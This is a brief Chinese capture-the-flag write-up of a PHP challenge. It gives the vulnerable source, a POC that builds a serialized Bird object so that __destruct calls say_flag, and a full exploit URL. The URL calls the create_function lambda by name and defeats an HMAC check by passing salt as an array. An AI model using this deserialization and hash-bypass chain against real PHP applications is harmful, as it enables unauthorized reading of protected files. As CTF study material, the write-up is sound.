这次振兴杯碰到的一道题,某些姿势之前貌似没有碰过,简单记一下吧
源码
<?php
class Bird{public $funcs;public $salt;public $flag;function say_flag(){$secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));$hmac = hash_hmac('sha256', $_GET['password'], $secret);if($_GET['mac'] === $hmac){show_source("/flag");}}function __destruct(){$self_func=$this->funcs;$self_func();}
}if(isset($_GET['p'])){$funcs = create_function("","unserialize(\$_GET['d']);");$_GET['p']();
}else{show_source(__FILE__);
}
create_function("","unserialize(\$_GET['d']);");
的考点是利用匿名函数,可以参考:https://www.cnblogs.com/leixiao-/p/9818602.html
create_function
的匿名函数也是有名字的,名字是\x00lambda_%d
,其中%d
代表他是当前进程中的第几个匿名函数。调用匿名函数,传入d
参数进行反序列化
构造POC
<?php
class Bird{public $funcs;public $salt;public $flag;function say_flag(){echo "-------say_flag-------";// $secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));// $hmac = hash_hmac('sha256', $_GET['password'], $secret);// if($_GET['mac'] === $hmac){// show_source("/flag");// }}function __destruct(){$self_func=$this->funcs;$self_func();}
}$Bird = new Bird();
$Bird->funcs = [new Bird(),'say_flag'];
echo urlencode(serialize($Bird));?>
而哈希处理,对$_GET['salt']
传数组即可,使得$secret
为NULL
,进而使得$hmac
可控
?p=%00lambda_1&d=O%3A4%3A%22Bird%22%3A3%3A%7Bs%3A5%3A%22funcs%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Bird%22%3A3%3A%7Bs%3A5%3A%22funcs%22%3BN%3Bs%3A4%3A%22salt%22%3BN%3Bs%3A4%3A%22flag%22%3BN%3B%7Di%3A1%3Bs%3A8%3A%22say_flag%22%3B%7Ds%3A4%3A%22salt%22%3BN%3Bs%3A4%3A%22flag%22%3BN%3B%7D&salt[]=&password=mochu7&mac=c35b38d9886ca1852ac7a27a016721bf3de37a2c9231d96bc89ee3ab4d366067